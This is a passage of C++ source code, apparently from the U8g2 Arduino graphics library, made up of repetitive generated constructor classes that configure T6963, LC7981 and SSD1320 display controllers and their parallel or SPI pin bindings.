uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_lc7981_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X128_1_8080 : public U8G2 {\n  public: U8G2_T6963_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X128_2_8080 : public U8G2 {\n  public: U8G2_T6963_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X128_F_8080 : public U8G2 {\n  public: U8G2_T6963_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X64_1_8080 : public U8G2 {\n  public: U8G2_T6963_240X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X64_2_8080 : public U8G2 {\n  public: U8G2_T6963_240X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_240X64_F_8080 : public U8G2 {\n  public: U8G2_T6963_240X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_240x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_256X64_1_8080 : public U8G2 {\n  public: U8G2_T6963_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_256X64_2_8080 : public U8G2 {\n  public: U8G2_T6963_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_256X64_F_8080 : public U8G2 {\n  public: U8G2_T6963_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_1_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_ALT_1_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_2_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_ALT_2_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_F_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_128X64_ALT_F_8080 : public U8G2 {\n  public: U8G2_T6963_128X64_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_128x64_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_160X80_1_8080 : public U8G2 {\n  public: U8G2_T6963_160X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_160x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_160X80_2_8080 : public U8G2 {\n  public: U8G2_T6963_160X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_160x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_T6963_160X80_F_8080 : public U8G2 {\n  public: U8G2_T6963_160X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_t6963_160x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_1_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_2_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X32_F_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_6800 : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_1_8080 : public U8G2 {\n  public: U8G2_SSD1320_160X132_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1320_160X132_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1320_160X132_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    